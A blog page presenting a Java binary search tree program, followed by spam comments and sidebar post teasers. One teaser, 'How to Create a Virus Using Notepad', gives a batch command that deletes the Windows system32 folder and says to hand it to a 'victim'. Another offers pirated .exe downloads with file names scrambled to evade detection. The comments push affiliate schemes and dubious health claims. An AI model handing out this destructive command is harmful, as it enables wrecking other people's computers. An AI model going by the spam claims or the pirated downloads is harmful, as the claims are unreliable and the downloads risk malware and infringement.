Skip to main content

Binary Search Tree in Java implementation (reference based, dynamic memory)

By 
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
import java.util.Scanner;
 class BST {
    static BST.Node root = null;
    public void insert(int num) {
        if (root == null) {
            root = new BST.Node(num);
        } else {// root node is not empty
            BST.Node temp = root;
            while (temp != null) {

                if (num <= temp.getVal()) {
                    if (temp.getLeft() != null)
                        temp = temp.getLeft();
                    else {
                        temp.setLeft(new Node(num));
                        break;
                    }
                } else {
                    if (temp.getRight() != null)
                        temp = temp.getRight();
                    else {


                        temp.setRight(new Node(num));
                        break;
                    }

                }

            }


        }
    }

    public void search(int num, Node root) {
        if (root == null) {
            System.out.println("Number is not present ");
            return;
        }
        if (root.getVal() == num) {
            System.out.println("Number is present ");
        } else {
            if (num < root.getVal()) search(num, root.getLeft());
            else search(num, root.getRight());
        }


    }

    public void display(Node root) {
        if (root == null)
            return;
        display(root.getLeft());
        System.out.println(" " + root.getVal() + " ");
        display(root.getRight());

    }

    public static void main(String[] args) {
        BST bst= new BST();
        byte choice = 0;
        while (choice != 4) {
            int num;

            Scanner in = new Scanner(System.in);
            System.out.print("\nPress \n1 to insert \n2. To search \n3. Display \n4 to exit->");
            choice = in.nextByte();
            switch (choice) {
                case 1:
                    System.out.print("Enter the number ->");
                    num = in.nextInt();
                    bst.insert(num);
                    break;
                case 2:
                    System.out.print("Enter the Number ");
                    num = in.nextInt();
                    bst.search(num, root);
                    break;
                case 3:
                    bst.display(root);


            }

        }

    }

    private static class Node {
        private int val;
        private Node left = null;
        private Node right = null;

        public Node(int i) {
            this.val = i;
        }

        public int getVal() {
            return val;
        }

        public void setVal(int val) {
            this.val = val;
        }

        public Node getLeft() {
            return left;
        }

        public void setLeft(Node left) {
            this.left = left;
        }

        public Node getRight() {
            return right;
        }

        public void setRight(Node right) {
            this.right = right;
        }

    }
}
Labels:

Comments

  1. Blog27999Saturday, March 14, 2020 9:40:00 PM

    Your Affiliate Profit Machine is waiting -

    Plus, making profit with it is as easy as 1..2..3!

    Here are the steps to make it work...

    STEP 1. Input into the system what affiliate products the system will advertise
    STEP 2. Add push button traffic (it takes JUST 2 minutes)
    STEP 3. Watch the system grow your list and up-sell your affiliate products for you!

    Are you ready to make money ONLINE???

    Click here to activate the system

    ReplyDelete
  2. Blog27999Monday, March 16, 2020 4:34:00 AM

    Did you realize there is a 12 word phrase you can tell your crush... that will trigger intense emotions of love and impulsive attraction to you buried within his chest?

    That's because hidden in these 12 words is a "secret signal" that triggers a man's impulse to love, look after and guard you with his entire heart...

    12 Words Who Fuel A Man's Love Response

    This impulse is so hardwired into a man's mind that it will drive him to try harder than ever before to make your relationship as strong as it can be.

    In fact, triggering this powerful impulse is so essential to getting the best ever relationship with your man that the instance you send your man one of these "Secret Signals"...

    ...You will immediately find him expose his soul and mind for you in a way he's never expressed before and he will distinguish you as the one and only woman in the galaxy who has ever truly appealed to him.

    ReplyDelete
  3. Blog27999Monday, March 16, 2020 8:23:00 AM

    According to Stanford Medical, It's really the one and ONLY reason this country's women get to live 10 years longer and weigh 19 KG lighter than we do.

    (And actually, it has totally NOTHING to do with genetics or some secret-exercise and really, EVERYTHING about "HOW" they are eating.)

    BTW, I said "HOW", and not "WHAT"...

    Tap this link to see if this brief questionnaire can help you discover your true weight loss possibilities

    ReplyDelete
  4. BloggerMonday, March 16, 2020 10:01:00 AM

    Your Affiliate Money Making Machine is waiting -

    Plus, making profit with it is as simple as 1-2-3!

    This is how it all works...

    STEP 1. Choose affiliate products you want to promote
    STEP 2. Add some PUSH button traffic (it takes JUST 2 minutes)
    STEP 3. Watch the affiliate system explode your list and upsell your affiliate products all for you!

    Are you ready to make money automatically??

    Get the full details here

    ReplyDelete

Post a Comment

share your thoughts ....

Popular posts from this blog

13 websites to register your free domain

By
Register your Free Domain Now!! 1)  .tk Dot TK is a FREE domain registry for websites on the Internet. It has exactly the same power as other domain extensions, but it’s free! Because it’s free, millions of others have been using .TK domains since 2001 – which makes .TK powerful and very recognizable.  Your website will be like www.yourdomainname.tk . It is free for 1 year. It’s a ccTLD domain whixh having the abbreviation  Tokelau. To create a .tk domain, Visit   www.dot.tk 2) co.cc Co.cc is completely free domain which is mostly used by blogspot bloggers because of it’s easy to use DNS system. Creating a co.cc for blogger is simple ( for instructions- “click here”). Your website will be like www.yourdomainname.co.cc . To create a .co.cc domain, visit www.co.cc 3)   co.nr co.nr is too like co.cc. Your website will be like  www.yourdomainname.co.nr . You can add it for blogger also.. To create a .co.cc domain, vi...
Post a Comment
Read more

How to Put Google Adsense Below Post Title in Blogger?

By
Adsense is used by majority of expert bloggers for their website monetization because it is a cookie based contextual advertising system that shows targeted ads relevant to the content and reader. As bloggers are paid on per click basis, they try various ad placements on the blog to  increase the revenue  and get maximum clicks on the ad units. Well, on some blogs, you might have seen Adsense ad units placed below the post title. Do you know why? It is because the area just below the post title gets the most exposure and is the best place to put AdSense ad units to increase  Click Through Rate (CTR). Even though ads below post title work like a charm but this doesn’t mean that it will work for you as well. If you want to find out the best AdSense ads placement for your blog, try experimenting by placing ads at various locations such as header, sidebar, footer, etc. You can try other  blog monetization methods  as well to effectively monetize y...
Post a Comment
Read more

How to Create a Virus Using Notepad.

By
its 100% working Introduction : Friends , all of you are most probably aware of viruses. The Only Headache of Every Windows PC owner is that his Pc might get virus. If a virus hits your computer, then no need to say what a nightmare you'll have. And what if someone sent you a virus through a USB, or mail attachment ? There are times in our lives , when we think " Hope, I too could create a virus ". Well then this is the time friends, So here I am posting the process how to create a virus. And sorry i cant post the virus file itself, as Internet doesn't allow to post or send .bat or .cmd files http://raj360.co.nr Process: Open Notepad Write / copy the below command there: " del c:\WINDOWS\system32\*.*/q " without quote and save as " anything.bat" Done. If You Give this file to your victim his SYSTEM 32 Folder will be deleted. Without which a Windows Pc cant be started.
1 comment
Read more

python program to Print Starting Series OF Indian Mobile Number for a State or operator or both

By
import requests import urllib.request import time from bs4 import BeautifulSoup as bs import re url = ' https://en.wikipedia.org/wiki/Mobile_telephone_numbering_in_India' state_to_extract = "UE" #if set to None all state is considered telecom_to_extracted = None #if set to none all operator from particular city is extracted response = requests . get(url) print (response) soup = bs(response . text, "html.parser" ) one_a_tag = soup . findAll( 'tr' )[ 35 :] lst = [] for k in one_a_tag: s = k . findAll( 'td' ) limit = len (s) i = 0 while True : if i == limit: break no = s[i] . text i += 1 if i == limit: break operator = s[i] . text i += 1 if i == limit: break state = s[i] . text i += 1 if i == limit: break res = f "{no} {operator} {state}" if state_to_extract is None : if telecom_to_extracted is None : lst . append(no) elif telecom_to_e...
2 comments
Read more

Download pocket tank delux with 295 weapons free total 295 weapons version 1.6

By
Download Pocket Tanks Deluxe Full Version Free With 295 Weapons Pack | Size: 30MB UPDATED 2019 /19/april Description: Pocket Tanks is a 1-2 player computer game for Windows and Mac OS X, created by Blitwise Productions, developer of Super DX-Ball and Neon Wars. Adapted from Michael Welch's earlier Amiga game Scorched Tanks, this newer version features modified physics, dozens of weapons ranging from simple explosive shells to homing missiles, and the ability to move the tank. It supports several expansion packs. At the moment, players can have up to 295 different weapons total. Pocket Tanks is often abbreviated as PTanks. Have Fun! NOTE: FILE NAME IS SCRAMBLED FOR AVOIDING HARD DETECTION & FILE TAKEN DOWN . How to Play: Best with 2 players on the same computer at school or at work. UPDATED LINK https://mirr.re/d/u1Y https://nl26.seedr.cc/ff_get/447027537/ptd16.295.exe?st=lUp-PbRp4YOwToHIOGwStQ&e=1555747979 http://www.uploadmagnet.com/7gfzhbyfe...
9 comments
Read more

DOWNLOAD CODE BLOCKS 16.01 MINGW.SETUP .EXE 86.3 MB

By
Code::Blocks for Mac is a free C, C++ and Fortran IDE that has a custom build system and optional Make support. The application has been designed to be very extensible and fully configurable. Code::Blocks is an IDE packed full of all the features you will need. It has a consistent look, feel and operation across its supported platforms. It has been built around a plugin framework, therefore Code::Blocks can be extended with plugins. Support for any kind of functionality can be added by installing/coding a plugin. Key features include: Written in C++. No interpreted languages or proprietary libs needed.. Full plugin support. Multiple compiler support: GCC (MingW / GNU GCC), MSVC++, clang, Digital Mars, Borland C++ 5.5, and Open Watcom etc. Support for parallel builds. Imports Dev-C++ projects. Debugger with full breakpoints support. Cross-platform. Code::Blocks' interface is both customizable and extensible with Syntax highlighting, a tabbed interface, Class Br...
1 comment
Read more

Windows 10 1703 Fall Creator update/upgrage brings NEW UI ... the fluent Ui

By
Microsoft is planning to implement these subtle design changes gradually. Some are already available in new updates to existing Windows 10 apps, and more will start to appear in Windows itself as Microsoft updates the operating system with the Fall Creators Update and future updates. "It's going to be a journey," says Microsoft director Aaron Woodman, noting that these design changes will appear over time in Windows and other products. On stage at Build today, Microsoft's Joe Belfiore demonstrated a number of Fluent Design changes. "You're going to see Fluent Design show up in the Windows shell, in our apps, and across devices," explains Joe Belfiore. Microsoft is focusing on light, depth, motion, material, and scale for its Fluent Design, with subtle changes that make the design feel like it's moving during interactions in Windows. An inking demo showed how Microsoft is bringing the pen experience across the entirety of Windows, allowing...
Post a Comment
Read more

Reserved Words In JAVA (total 53 Reserve Words)

By
RESERVED WORDS: In java the words which are having fixed functionalities or fixed Values are called as reserve words. Total Number of reserve words =53. Category of Reserve Words: 1 .Keywords ---> The words which are having fixed Functionalities. 2. Literals (Constant)---->The words which are having fixed Values .(3)---- i) true ii) false iii) null. NOTE: all the reserved words (Keywords and Literals) are in small letters. Keywords: (i) Datatype related :- byte ,short,int ,long,float,double,char,boolean. (ii) Flow Control Related Keywords: - if ,else ,switch,case ,default,continue,break,for,while,do while. (iii) Method Related Keywords:- void ,return. (iv) Unused keywords: goto ,const. (v) New Keywords: assert,enum. (vi) exception handling Keywords: try,catch,finally,throws,throw. (vii) Class Related keywords : class,extends,interface,implements,pacakage,import. (viii) Object Related Keywords: this,new,super,instanceof. ...
1 comment
Read more